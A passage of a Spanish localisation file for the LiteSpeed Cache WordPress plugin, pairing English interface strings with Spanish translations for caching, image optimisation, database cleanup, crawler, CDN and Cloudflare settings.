Space'=>'Calcular el espacio en disco de las copias de seguridad','Optimization Status'=>'Estado de optimización','Current limit is'=>'El límite actual es','To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited.'=>'Para asegurarnos de que nuestro servidor puede comunicarse con el tuyo sin problemas y todo funciona bien, para las pocas primeras solicitudes la cantidad de grupos de imágenes permitidas en una sola petición es limitada.','You can request a maximum of %s images at once.'=>'Puedes solicitar un máximo de %s imágenes de una vez.','Optimize images with our QUIC.cloud server'=>'Optimiza las imágenes con nuestro servidor en QUIC.cloud','Revisions newer than this many days will be kept when cleaning revisions.'=>'Las revisiones más recientes se guardarán cuando se limpien las revisiones.','Day(s)'=>'Día(s)','Specify the number of most recent revisions to keep when cleaning revisions.'=>'Especifica el número de revisiones más recientes que se deben guardar al limpiar las revisiones.','LiteSpeed Cache Database Optimization'=>'Optimización de la base de datos de la caché de LiteSpeed','DB Optimization Settings'=>'Ajustes de optimización de la BD','Option Name'=>'Nombre de la opción','Database Summary'=>'Resumen de la base de datos','We are good. No table uses MyISAM engine.'=>'Estamos bien. Ninguna tabla usa el motor MyISAM.','Convert to InnoDB'=>'Convertir a InnoDB','Tool'=>'Herramienta','Engine'=>'Motor','Table'=>'Tabla','Database Table Engine Converter'=>'Conversor de motor de tabla de base de datos','Clean revisions older than %1$s day(s), excluding %2$s latest revisions'=>'Limpiar las revisiones más antiguas de %1$s día(s), excluyendo %2$s últimas revisiones','Currently active crawler'=>'Rastreador activo','Crawler(s)'=>'Rastreador(es)','Crawler Status'=>'Estado del rastreador','Force cron'=>'Forzar cron','Requests in queue'=>'Peticiones en cola','Time to execute previous request: %s'=>'Hora para ejecutar la solicitud anterior: %s','Private Cache'=>'Caché privada','Public Cache'=>'Caché pública','Cache Status'=>'Estado de caché','Last Pull'=>'Última lectura','Image Optimization Summary'=>'Resumen de la optimización de imágenes','Refresh page score'=>'Actualizar la puntuación de la página','Are you sure you want to redetect the closest cloud server for this service?'=>'¿Estás seguro de que quieres volver a detectar el servidor en la nube más cercano para este servicio?','Current closest Cloud server is %s. Click to redetect.'=>'El servidor en la nube más cercano es %s. Haz clic para volver a detectarlo.','Refresh page load time'=>'Actualizar el tiempo de carga de la página','Go to QUIC.cloud dashboard'=>'Ir al escritorio de QUIC.cloud','Low Quality Image Placeholder'=>'Marcador de imagen de baja calidad','Sync data from Cloud'=>'Sincronizar los datos de la nube','QUIC.cloud Service Usage Statistics'=>'Estadísticas de uso del servicio QUIC.cloud','Total images optimized in this month'=>'Total de imágenes optimizadas en este mes','Total Usage'=>'Uso total','Pay as You Go Usage Statistics'=>'Estadísticas pago por uso','PAYG Balance'=>'Balance de pagos','Pay as You Go'=>'Pago por uso','Usage'=>'Uso','Fast Queue Usage'=>'Uso de la cola rápida','CDN Bandwidth'=>'Ancho de banda de la CDN','LiteSpeed Cache Dashboard'=>'Escritorio de LiteSpeed Cache','Network Dashboard'=>'Escritorio de red','No cloud services currently in use'=>'No hay servicios de la nube en uso','Click to clear all nodes for further redetection.'=>'Haz clic para borrar todos los nodos para volver a detectar.','Current Cloud Nodes in Service'=>'Nodos de la nube actual en servicio','Link to QUIC.cloud'=>'Enlace a QUIC.cloud','General Settings'=>'Ajustes generales','Specify which HTML element attributes will be replaced with CDN Mapping.'=>'Especificar qué atributos de elementos HTML serán reemplazados por mapeo CDN.','Add new CDN URL'=>'Añadir una nueva URL de la CDN','Remove CDN URL'=>'Eliminar la URL de la CDN','To enable the following functionality, turn ON Cloudflare API in CDN Settings.'=>'Para activar la siguiente funcionalidad, activa la API de Cloudflare en la configuración de la CDN.','QUIC.cloud'=>'QUIC.cloud','WooCommerce Settings'=>'Ajustes de WooCommerce','LQIP Cache'=>'Caché de LQIP','Options saved.'=>'Las opciones han sido guardadas.','Removed backups successfully.'=>'Copias de seguridad eliminadas correctamente.','Calculated backups successfully.'=>'Copias de seguridad calculadas correctamente.','Rescanned %d images successfully.'=>'%d imágenes reexploradas correctamente.','Rescanned successfully.'=>'Reexploración correcta.','Destroy all optimization data successfully.'=>'Todos los datos de optimización destruidos correctamente.','Cleaned up unfinished data successfully.'=>'Datos incompletos limpiados correctamente.','Pull Cron is running'=>'Pull Cron se está ejecutando','No valid image found by Cloud server in the current request.'=>'El servidor en la nube no ha encontrado ninguna imagen válida por en la petición actual.','No valid image found in the current request.'=>'No se ha encontrado ninguna imagen válida en la petición actual.','Pushed %1$s to Cloud server, accepted %2$s.'=>'%1$s enviadas al servidor en la nube, %2$s aceptadas.','Revisions Max Age'=>'Edad máxima de las revisiones','Revisions Max Number'=>'Número máximo de revisiones','Debug URI Excludes'=>'URIs excluidas de la depuración','Debug URI Includes'=>'URIs incluidas en la depuración','HTML Attribute To Replace'=>'Atributo HTML a reemplazar','Use CDN Mapping'=>'Usar mapeo de CDN','QUIC.cloud CDN:'=>'CDN de QUIC.cloud:','Editor Heartbeat TTL'=>'TTL de heartbeat del editor','Editor Heartbeat'=>'Heartbeat del editor','Backend Heartbeat TTL'=>'TTL de heartbeat de la administración','Backend Heartbeat Control'=>'Control de heartbeat de la administración','Frontend Heartbeat TTL'=>'TTL de heartbeat de la parte pública','Frontend Heartbeat Control'=>'Control de heartbeat de la parte pública','Backend .htaccess Path'=>'Ruta del .htaccess de la administración','Frontend .htaccess Path'=>'Ruta del .htaccess de la parte pública','ESI Nonces'=>'Nonces de ESI','WordPress Image Quality Control'=>'Control de la calidad de imagen de WordPress','Auto Request Cron'=>'Cron de petición automática','Generate LQIP In Background'=>'Generar LQIP en segundo plano','LQIP Minimum Dimensions'=>'Dimensiones mínimas de LQIP','LQIP Quality'=>'Calidad de LQIP','LQIP Cloud Generator'=>'Generador de LQIP en la nube','Responsive Placeholder SVG'=>'Marcador de posición SVG adaptable','Responsive Placeholder Color'=>'Color del marcador de posición adaptable','Basic Image Placeholder'=>'Marcador de posición de imagen básica','Lazy Load URI Excludes'=>'Exclusión de URIs de carga diferida','Lazy Load Iframe Parent Class Name Excludes'=>'Exclusiones de carga diferida de clases padre de iframes','Lazy Load Iframe Class Name Excludes'=>'Exclusiones de carga diferida de clases de iframes','Lazy Load Image Parent Class Name Excludes'=>'Exclusiones de carga diferida de clases padres','Gravatar Cache TTL'=>'TTL de la caché de Gravatar','Gravatar Cache Cron'=>'Cron de la caché de Gravatar','Gravatar Cache'=>'Caché de Gravatar','DNS Prefetch Control'=>'Control del prefetch DNS','Font Display Optimization'=>'Optimización de visualización de fuentes','Force Public Cache URIs'=>'Forzar URIs de caché púbica','Notifications'=>'Avisos','Default HTTP Status Code Page TTL'=>'TTL del código de estado de página por defecto','Default REST TTL'=>'TTL por defecto de REST','Enable Cache'=>'Activa cache','Server IP'=>'IP del servidor','Images not requested'=>'Imágenes no solicitadas','Sync credit allowance with Cloud Server successfully.'=>'Se ha sincronizado la asignación de créditos correctamente con el servidor en la nube.','Failed to communicate with QUIC.cloud server'=>'Fallo de comunicación con el servidor QUIC.cloud','Good news from QUIC.cloud server'=>'Buenas noticias del servidor QUIC.cloud','Message from QUIC.cloud server'=>'Mensaje del servidor QUIC.cloud','Please try after %1$s for service %2$s.'=>'Por favor, inténtalo después de %1$s para el servicio %2$s.','No available Cloud Node.'=>'No hay ningún nodo de la nube disponible.','Cloud Error'=>'Error de la nube','The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.'=>'La base de datos se ha ido actualizando en segundo plano desde %s. Este mensaje desaparecerá una vez que la actualización se haya completado.','Restore from backup'=>'Restaurar desde la copia de seguridad','No backup of unoptimized WebP file exists.'=>'No existe una copia de seguridad del archivo WebP no optimizado.','WebP file reduced by %1$s (%2$s)'=>'Archivo WebP reducido en %1$s (%2$s)','Currently using original (unoptimized) version of WebP file.'=>'Actualmente usando la versión original (no optimizada) del archivo WebP.','Currently using optimized version of WebP file.'=>'Actualmente usando la versión optimizada del archivo WebP.','Orig'=>'Original','(no savings)'=>'(sin reducción)','Orig %s'=>'Original %s','Congratulation! Your file was already optimized'=>'¡Felicidades! Tu archivo ya ha sido optimizado','No backup of original file exists.'=>'No existe una copia de seguridad del archivo original.','Using optimized version of file. '=>'Usando la versión optimizada del archivo. ','Orig saved %s'=>'Ahorrado un %s del original','Original file reduced by %1$s (%2$s)'=>'Archivo original reducido en %1$s (%2$s)','Click to switch to optimized version.'=>'Haz clic para cambiar a la versión optimizada.','Currently using original (unoptimized) version of file.'=>'Actualmente usando la versión original (no optimizada) del archivo.','(non-optm)'=>'(no-optm)','Click to switch to original (unoptimized) version.'=>'Haz clic para cambiar a la versión original (no optimizada).','Currently using optimized version of file.'=>'Actualmente usando la versión optimizada del archivo.','(optm)'=>'(optm)','LQIP image preview for size %s'=>'Vista previa de la imagen LQIP para el tamaño %s','LQIP'=>'LQIP','Previously existed in blocklist'=>'Anteriormente existía en la lista negra','Manually added to blocklist'=>'Añadido manualmente a la lista negra','Mobile Agent Rules'=>'Reglas de agente móvil','Sitemap created successfully: %d items'=>'Mapa del sitio creado con éxito: %d elementos','Sitemap cleaned successfully'=>'El mapa del sitio se limpió con éxito','Invalid IP'=>'IP no válida','Value range'=>'Rango de valores','Smaller than'=>'Más pequeño que','Larger than'=>'Mayor que','Zero, or'=>'Cero, o','Maximum value'=>'Valor máximo','Minimum value'=>'Valor mínimo','Path must end with %s'=>'La ruta debe terminar en %s','Invalid rewrite rule'=>'Regla de reescritura no válida','Currently set to %s'=>'Actualmente establecido en %s','This value is overwritten by the PHP constant %s.'=>'Este valor es sobrescrito por la constante %s de PHP.','Toolbox'=>'Herramientas','Database'=>'Base de datos','Page Optimization'=>'Optimización de página','Dashboard'=>'Escritorio','Converted to InnoDB successfully.'=>'Convertido a InnoDB correctamente.','Cleaned all Gravatar files.'=>'Vaciados todos los archivos de Gravatar.','Cleaned all LQIP files.'=>'Vaciados todos los archivos LQIP.','Unknown error'=>'Error desconocido','Your domain has been forbidden from using our services due to a previous policy violation.'=>'A tu dominio se le ha prohibido usar nuestros servicios debido a una violación de política anterior.','The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: '=>'Ha fallado la validación de la devolución de llamada a tu dominio. Por favor, asegúrate de que no hay un cortafuegos bloqueando nuestros servidores. Código de respuesta: ','The callback validation to your domain failed. Please make sure there is no firewall blocking our servers.'=>'Ha fallado la validación de la devolución de llamada a tu dominio. Por favor, asegúrate de que no hay un cortafuegos bloqueando nuestros servidores.','The callback validation to your domain failed due to hash mismatch.'=>'Ha fallado la validación de la llamada a tu dominio debido a la falta de coincidencia del hash.','Your application is waiting for approval.'=>'Tu solicitud está a la espera de aprobación.','Previous request too recent. Please try again after %s.'=>'La solicitud anterior es demasiado reciente. Por favor, inténtalo de nuevo después de %s.','Previous request too recent. Please try again later.'=>'La solicitud anterior es demasiado reciente. Por favor, inténtalo de nuevo más tarde.','Crawler disabled by the server admin.'=>'Rastreador desactivado por el administrador del servidor.','Failed to create table %1$s! SQL: %2$s.'=>'¡Error al crear la tabla %1$s! SQL: %2$s.','Could not find %1$s in %2$s.'=>'No se ha podido encontrar %1$s en %2$s.','Credits are not enough to proceed the current request.'=>'Los créditos no son suficientes para proceder con la solicitud actual.','There is proceeding queue not pulled yet.'=>'Hay una cola de procedimiento que no se ha retirado todavía.','The image list is empty.'=>'La lista de imágenes está vacía.','LiteSpeed Crawler Cron'=>'Cron del rastreador de LiteSpeed','Every Minute'=>'Cada minuto','Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions.'=>'Activa esta opción para mostrar automáticamente las últimas noticias, incluyendo correcciones de fallos, nuevas versiones, versiones beta disponibles y promociones.','To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report.'=>'Para conceder acceso a la administración de WP al equipo de soporte de LiteSpeed, por favor, genera un enlace sin contraseña para el usuario conectado actual para enviarlo con el informe.','Generated links may be managed under %sSettings%s.'=>'Los enlaces generados pueden gestionarse en los %sAjustes%s.','Please do NOT share the above passwordless link with anyone.'=>'Por favor, NO compartas con nadie el enlace de acceso sin contraseña anterior.','To generate a passwordless link for LiteSpeed Support Team access, you must install %s.'=>'Para generar un enlace de acceso sin contraseña para el equipo de soporte de LiteSpeed, debes instalar %s.','Install'=>'Instalar','These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN.'=>'Estas opciones solo están disponibles con LiteSpeed Enterprise Web Server o QUIC.cloud CDN.','PageSpeed Score'=>'Puntuación de PageSpeed','Improved by'=>'Mejorado por','After'=>'Después','Before'=>'Antes','Page Load Time'=>'Tiempo de carga de la página','To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN.'=>'Para poder usar las funciones de cache debes tener un servidor LiteSpeed o estar usando la la CDN QUIC.cloud.','Preserve EXIF/XMP data'=>'Conservar los datos EXIF/XMP','Try GitHub Version'=>'Probar versión de GitHub','If you turn any of the above settings OFF, please remove the related file types from the %s box.'=>'Si cambias alguno de los ajustes de arriba a OFF, por favor, quita los tipos de archivo relacionados de la caja %s.','Both full and partial strings can be used.'=>'Se pueden usa cadenas parciales y completas.','Images containing these class names will not be lazy loaded.'=>'Las imágenes que contengan estos nombres de clases no tendrán carga diferida.','Lazy Load Image Class Name Excludes'=>'Exclusión de nombres de clases para carga diferida de imágenes','For example, %1$s defines a TTL of %2$s seconds for %3$s.'=>'Por ejemplo, %1$s define un TTL de %2$s segundos para %3$s.','To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI.'=>'Para definir un TTL personalizado añade un espacio seguido por el valor de TTL Al final de la URI.','Maybe Later'=>'Puede que más tarde','Turn On Auto Upgrade'=>'Activar la actualización automática','Upgrade'=>'Actualizar','New release %s is available now.'=>'La nueva versión %s está disponible ahora.','New Version Available!'=>'¡Nueva versión disponible!','Created with ❤️ by LiteSpeed team.'=>'Creado con ❤️ por el equipo de LiteSpeed.','Sure I\'d love to review!'=>'¡Por supuesto, me encantará valorarlo!','Thank You for Using the LiteSpeed Cache Plugin!'=>'¡Gracias por usar el plugin de caché LiteSpeed!','Upgraded successfully.'=>'Actualizado con éxito.','Failed to upgrade.'=>'Fallo al actualizar.','Changed setting successfully.'=>'Ajuste cambiado con éxito.','ESI sample for developers'=>'Muestra de ESI para desarrolaldores','Replace %1$s with %2$s.'=>'Reemplaza %1$s con %2$s.','You can turn shortcodes into ESI blocks.'=>'Puedes convertir shortcodes en bloques ESI.','WpW: Private Cache vs. Public Cache'=>'WpW: Caché privada o caché pública','Append query string %s to the resources to bypass this action.'=>'Añade la cadena de consulta %s a los recursos para evitar esta acción.','Google reCAPTCHA will be bypassed automatically.'=>'Google reCAPTCHA se omitirá automáticamente.','To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role.'=>'Para rastrear una cookie en particular, introduce el nombre de la cookie y los valores que deseas rastrear. Los valores deben ser uno por línea. Se creará un rastreador por cada valor de cookie, por cada perfil simulado.','Cookie Values'=>'Valores de la cookie','Cookie Name'=>'Nombre de la cookie','Cookie Simulation'=>'Simulación de cookie','Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact.'=>'Utiliza la biblioteca del cargador de fuentes web para cargar asíncronamente Google Fonts, dejando el resto del CSS intacto.','Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual.'=>'Activa esta opción para que LiteSpeed Cache se actualice automáticamente cuando se publique una nueva versión. Si está desactivada, tendrás que actualizar manualmente como de costumbre.','Automatically Upgrade'=>'Actualizar automáticamente','Your IP'=>'Tu IP','Reset successfully.'=>'Restablecimiento realizado con éxito.','This will reset all settings to default settings.'=>'Esto restablecerá todos los ajustes a su valores predeterminados.','Reset All Settings'=>'Restablecer todos los ajustes','Separate critical CSS files will be generated for paths containing these strings.'=>'Separa archivos CSS críticos al generar las rutas que contengan estas cadenas.','Separate CCSS Cache URIs'=>'Distintas URIs de caché CCSS','For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.'=>'Por ejemplo, si todas las páginas del sitio tienen formato diferente introduce %s en la caja. Los archivos CSS críticos distintos de cada página del sitio se almacenarán.','List post types where each item of that type should have its own CCSS generated.'=>'Lista tipos de contenido en los que cada elemento de ese tipo debería generar su propio CCSS.','Separate CCSS Cache Post Types'=>'Tipos de contenido de caché de CCSS distintos','Size list in queue waiting for cron'=>'Tamaño de la lista en la cola de espera del cron','If set to %1$s, before the placeholder is localized, the %2$s configuration will be used.'=>'Si se establece a %1$s, antes de localizar el marcador de posición, se usará la configuración %2$s.','Automatically generate LQIP in the background via a cron-based queue.'=>'Genera automáticamente LQIP en segundo plano mediante una cola basada en el programador de tareas.','This will generate the placeholder with same dimensions as the image if it has the width and height attributes.'=>'Esto generará el marcador de posición con las mismas dimensiones que la imagen si tiene los atributos de ancho y alto.','Responsive image placeholders can help to reduce layout reshuffle when images are loaded.'=>'Los marcadores de posición de imagen pueden ayudar a reducir la recolocación de la estructura cuando se cargan las imágenes.','Responsive Placeholder'=>'Marcador de posición adaptable','This will delete all generated image LQIP placeholder files'=>'Esto borrará todos los archivos generados de marcador de posición de imágenes LQIP','Please enable LiteSpeed Cache in the plugin settings.'=>'Por favor, activa LiteSpeed Cache en los ajustes del plugin.','Please enable the LSCache Module at the server level, or ask your hosting provider.'=>'Por favor, activa el módulo LSCache en el servidor, o pídeselo a tu proveedor de alojamiento.','Failed to request via WordPress'=>'Fallo en la solicitud desde WordPress','High-performance page caching and site optimization from LiteSpeed'=>'Caché de páginas de alto rendimiento y optimización de sitio de LiteSpeed','Reset the optimized data successfully.'=>'Datos de optimización restablecidos correctamente.','Update %s now'=>'Actualizar %s','View %1$s version %2$s details'=>'Ver detalles de la versión %2$s de %1$s','<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.'=>'<a href="%1$s" %2$s>ver detalles de la versión %3$s</a> o <a href="%4$s" %5$s target="_blank">actualiza ya</a>.','Install %s'=>'Instalar %s','LSCache caching functions on this page are currently unavailable!'=>'¡Las funciones de la caché de LSCache en esta página no están disponibles en este momento!','%1$s plugin version %2$s required for this action.'=>'Para esta acción se necesita la versión %2$s del plugin %1$s.','We are working hard to improve your online service experience. The service will be unavailable while we work. We apologize for any inconvenience.'=>'Estamos trabajando duro para mejorar tu experiencia de servicio online. El servicio no estará disponible mientras trabajamos. Sentimos cualquier inconveniente.','Automatically remove the original image backups after fetching optimized images.'=>'Elimina automáticamente las copias de seguridad de la imagen original tras recuperar las imágenes optimizadas.','Remove Original Backups'=>'Eliminar copias de seguridad del orginal','Automatically request optimization via cron job.'=>'Solicitar automáticamente la optimización mediante un trabajo cron.','A backup of each image is saved before it is optimized.'=>'Se guarda una copia de seguridad de cada imagen antes de optimizarla.','Switched images successfully.'=>'Imágenes cambiadas correctamente.','This can improve quality but may result in larger images than lossy compression will.'=>'Esto puede mejorar la calidad, pero puede dar como resultado imágenes más grandes que la compresión con pérdida.','Optimize images using lossless compression.'=>'Optimizar imágenes usando compresión sin pérdida.','Optimize Losslessly'=>'Optimizar sin pérdida','Request WebP/AVIF versions of original images when doing optimization.'=>'Solicita versiones WebP/AVIF de las imágenes originales al hacer la optimización.','Optimize images and save backups of the originals in the same folder.'=>'Optimiza imágenes y guarda copias de seguridad de los originales en la misma carpeta.','Optimize Original Images'=>'Optimizar imágenes originales','When this option is turned %s, it will also load Google Fonts asynchronously.'=>'Cuando esta opción se cambia a %s, también se cargan de forma asíncrona las fuentes de Google.','Cleaned all Critical CSS files.'=>'Limpiados todos los archivos CSS críticos.','This will inline the asynchronous CSS library to avoid render blocking.'=>'Esto integrará la biblioteca CSS asíncrona para evitar el bloqueo de renderizado.','Inline CSS Async Lib'=>'Biblioteca de CSS integrado asíncrono','Run Queue Manually'=>'Ejecutar la cola manualmente','URL list in %s queue waiting for cron'=>'Lista de URL en cola %s esperando el cron','Last requested cost'=>'Último coste solicitado','Last generated'=>'Último generado','If set to %s this is done in the foreground, which may slow down page load.'=>'Si se configura a %s esto se hace en segundo plano, lo que puede ralentizar la carga de la página.','Automatic generation of critical CSS is in the background via a cron-based queue.'=>'Genera automáticamente CSS crítico en segundo plano mediante una cola basada en el cron.','Optimize CSS delivery.'=>'Optimiza la entrega de CSS.','This will delete all generated critical CSS files'=>'Esto borrará todos los archivos generados de CSS crítico','Critical CSS'=>'CSS crítico','This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.'=>'Este sitio utiliza el almacenamiento en la caché para facilitar un tiempo de respuesta más rápido y una mejor experiencia de usuario. El almacenamiento en la caché, potencialmente, almacena una copia duplicada de cada página web que se muestra en este sitio. Todos los archivos de la caché son temporales y nunca acceden a ellos terceras partes, salvo cuando necesario para obtener soporte técnico del proveedor del plugin de caché. Los archivos de la caché caducan en una programación establecida por el administrador del sitio, pero pueden ser fácilmente purgados por el administrador antes de su caducidad natural, si fuese necesario. Podemos usar los servicios de QUIC.cloud para procesar y almacenar tus datos temporalmente en la caché.','Disabling this may cause WordPress tasks triggered by AJAX to stop working.'=>'Desactivar esto puede causar que las tareas de WordPress activadas por AJAX dejen de funcionar.','right now'=>'ahora mismo','just now'=>'ahora mismo','Saved'=>'Guardado','Last ran'=>'Última ejecución','You will be unable to Revert Optimization once the backups are deleted!'=>'¡No podrás revertir la optimización una vez eliminadas las copias de seguridad!','This is irreversible.'=>'Esto es irreversible.','Remove Original Image Backups'=>'Eliminar copias de seguridad de las imágenes originales','Are you sure you want to remove all image backups?'=>'¿Está seguro de querer eliminar todas las copias de seguridad de imágenes?','Total'=>'Total','Files'=>'Archivos','Last calculated'=>'Último cálculo','Calculate Original Image Storage'=>'Calcular almacenamiento original de imágenes','Storage Optimization'=>'Optimización de almacenamiento','Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic.'=>'Activar reemplazo de WebP/AVIF en los elementos %s generados fuera de la lógica de WordPress.','Use the format %1$s or %2$s (element is optional).'=>'Usa el formato %1$s o %2$s (el elemento es opcional).','Only attributes listed here will be replaced.'=>'Solo los atributos aquí listados serán reemplazados.','Specify which element attributes will be replaced with WebP/AVIF.'=>'Especificar que atributos de elementos serán reemplazados con WebP/AVIF.','WebP/AVIF Attribute To Replace'=>'Atributo a reemplazar para WebP/AVIF','Only files within these directories will be pointed to the CDN.'=>'Solo los archivos en estos directorios apuntarán a la CDN.','Included Directories'=>'Directorios incluidos','A Purge All will be executed when WordPress runs these hooks.'=>'Se iniciará una purga completa cuando WordPress ejecute estos ganchos.','Purge All Hooks'=>'Ganchos de purgar todo','Purged all caches successfully.'=>'Todas las cachés purgadas correctamente.','LSCache'=>'LSCache','Forced cacheable'=>'Forzar cacheables','Paths containing these strings will be cached regardless of no-cacheable settings.'=>'Las rutas que contengan estas cadenas se cachearán independientemente de los ajustes de no cacheables.','Force Cache URIs'=>'Forzar URLs en caché','Exclude Settings'=>'Ajustes de exclusión','This will disable LSCache and all optimization features for debug purpose.'=>'Esto desactivará LSCache y todas las características de optimización con propósitos de depuración.','Disable All Features'=>'Desactivar todas las características','Opcode Cache'=>'Caché opcode','CSS/JS Cache'=>'Caché CSS/JS','Remove all previous unfinished image optimization requests.'=>'Eliminar todas las peticiones de optimización de imágenes anteriores sin terminar.','Clean Up Unfinished Data'=>'Limpiar datos no finalizados','Join Us on Slack'=>'Únete a nuestro Slack','Join the %s community.'=>'Únete a la comunidad %s.','Want to connect with other LiteSpeed users?'=>'¿Quieres conectar con otros usuarios de LiteSpeed?','Your API key / token is used to access %s APIs.'=>'Tu clave de la API/token se usa para acceder a las API de %s.','Your Email address on %s.'=>'Tu dirección de email en %s.','Use %s API functionality.'=>'Usar la funcionalidad de la API %s.','To randomize CDN hostname, define multiple hostnames for the same resources.'=>'Para aleatorizar el hostname de la CDN, define multiples hostnames para los mismos recursos.','Join LiteSpeed Slack community'=>'Únete a la comunidad de Slack de LiteSpeed','Visit LSCWP support forum'=>'Visita el foro de soporte de LSCWP','Images notified to pull'=>'Imágenes avisadas para descargar','What is a group?'=>'¿Qué es un grupo?','%s image'=>'%s imagen','%s group'=>'%s grupo','%s images'=>'%s imágenes','%s groups'=>'%s grupos','Guest'=>'Invitado','To crawl the site as a logged-in user, enter the user ids to be simulated.'=>'Para rastrear el sitio como usuario conectado introduce los ids de usuario a imitar.','Role Simulation'=>'Simulación de rol','running'=>'ejecutando','Size'=>'Tamaño','Ended reason'=>'Razón de finalización','Last interval'=>'Último intervalo','Current crawler started at'=>'El rastreador actual comenzó a las','Run time for previous crawler'=>'Hora de ejecución para el rastreador anterior','%d seconds'=>'%d segundos','Last complete run time for all crawlers'=>'Hora de la última ejecución completa para todos los rastreadores','Current sitemap crawl started at'=>'El rastreo del mapa del sitio actual comenzó a las','Save transients in database when %1$s is %2$s.'=>'Guarda datos transitorios en la base de datos cuando %1$s es %2$s.','Store Transients'=>'Almacenar datos transitorios','If %1$s is %2$s, then %3$s must be populated!'=>'¡Si %1$s es %2$s entonces debe completarse %3$s!','Server allowed max value: %s'=>'Valor máximo permitido por el servidor: %s','Server enforced value: %s'=>'Valor forzado por el servidor: %s','NOTE'=>'NOTA','Server variable(s) %s available to override this setting.'=>'Variable(s) del servidor %s disponible para omitir este ajuste.','API'=>'API','Reset the entire OPcache successfully.'=>'Reestablecida correctamente la caché «OPcache».','Imported setting file %s successfully.'=>'Importado con éxito el archivo de ajustes %s.','Import failed due to file error.'=>'Importación fallida debido a un error en el archivo.','How to Fix Problems Caused by CSS/JS Optimization.'=>'Cómo solucionar problemas causados por la optimización CSS/JS.','This will generate extra requests to the server, which will increase server load.'=>'Esto generará peticiones extra al servidor, lo cual aumentará la carga del servidor.','When a visitor hovers over a page link, preload that page. This will speed up the visit to that link.'=>'Cuando un visitante pasa el cursor sobre un enlace a una página, precarga esa página. Esto acelera la visita a ese enlace.','Instant Click'=>'Clic instantáneo','Reset the entire opcode cache'=>'Reestablecer toda la caché opcode','This will import settings from a file and override all current LiteSpeed Cache settings.'=>'Esto importará ajustes desde un archivo y sobreescribirá todos los ajustes de LiteSpeed Cache actuales.','Last imported'=>'Última importación','Import'=>'Importar','Import Settings'=>'Ajustes de importación','This will export all current LiteSpeed Cache settings and save them as a file.'=>'Esto exportará todos los ajustes actuales de LiteSpeed Cache y los guardará como un archivo.','Last exported'=>'Última exportación','Export'=>'Exportar','Export Settings'=>'Exportar ajustes','Import / Export'=>'Importar / Exportar','Use keep-alive connections to speed up cache operations.'=>'Utilizar conexiones keep-alive para acelerar operaciones de la caché.','Database to be used'=>'Base de datos a usar','Redis Database ID'=>'ID de base de datos Redis','Specify the password used when connecting.'=>'Especifica la contraseña utilizada al conectar.','Password'=>'Contraseña','Only available when %s is installed.'=>'Solo disponible cuando está instalado %s.','Username'=>'Nombre de usuario','Your %s Hostname or IP address.'=>'El hostname o dirección IP de tu %s.','Method'=>'Método','Purge all object caches successfully.'=>'Purga correcta de todas las cachés de objetos.','Object cache is not enabled.'=>'La caché de objetos no está activada.','Improve wp-admin speed through caching. (May encounter expired data)'=>'Mejora la velocidad de wp-admin mediante caché. (Puede encontrar datos caducados)','Cache WP-Admin'=>'Caché de WP-Admin','Persistent Connection'=>'Conexión persistente','Do Not Cache Groups'=>'Grupos a no cachear','Groups cached at the network level.'=>'Grupos cacheados a nivel de red.','Global Groups'=>'Grupos globales','Connection Test'=>'Prueba de conexión','%s Extension'=>'Extensión %s','Status'=>'Estado','Default TTL for cached objects.'=>'TTL por defecto para objetos cacheados.','Default Object Lifetime'=>'Tiempo de vida por defecto del objeto','Port'=>'Puerto','Host'=>'Host','Object Cache'=>'Caché de objetos','Failed'=>'Fallido','Passed'=>'Exitoso','Not Available'=>'No disponible','Purge all the object caches'=>'Purgar todas las cachés de objetos','Failed to communicate with Cloudflare'=>'Fallo al comunicar con Cloudflare','Communicated with Cloudflare successfully.'=>'Comunicado con éxito con Cloudflare.','No available Cloudflare zone'=>'No hay disponible una zona Cloudflare','Notified Cloudflare to purge all successfully.'=>'Avisado correctamente a Cloudflare de la purga completa.','Cloudflare API is set to off.'=>'La API de Cloudflare está configurada en off.','Notified Cloudflare to set development mode to %s successfully.'=>'Avisado a Cloudflare la configuración del modo de desarrollo a %s con éxito.','Once saved, it will be matched with the current list and completed automatically.'=>'Una vez guardado, coincidirá con la lista actual y se completará automáticamente.','You can just type part of the domain.'=>'Puedes simplemente teclear parte de dominio.','Domain'=>'Dominio','Cloudflare API'=>'API de Cloudflare','Purge Everything'=>'Purgar todo','Cloudflare Cache'=>'Caché de Cloudflare','Development Mode will be turned off automatically after three hours.'=>'El modo de desarrollo se desactivará automáticamente después de tres horas.','Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime.'=>'Omite temporalmente la caché de Cloudflare. Esto permite cambios en el servidor de origen para que se vea en tiempo real.','Development mode will be automatically turned off in %s.'=>'El modo de desarrollo se desactivará automáticamente en %s.','Current status is %s.'=>'El estado actual es %s.','Current status is %1$s since %2$s.'=>'El estado actual es %1$s desde %2$s.','Check Status'=>'Comprobar estado','Turn OFF'=>'APAGAR','Turn ON'=>'ENCENDER','Development Mode'=>'Modo de desarrollo','Cloudflare Zone'=>'Zona de Cloudflare','Cloudflare Domain'=>'Dominio de Cloudflare','Cloudflare'=>'Cloudflare','For example'=>'Por ejemplo','Prefetching DNS can reduce latency for visitors.'=>'La precarga DNS puede reducir la latencia para los visitantes.','DNS Prefetch'=>'Prefetch DNS','Adding Style to Your Lazy-Loaded Images'=>'Añade estilos a tus imágenes de carga diferida','Default 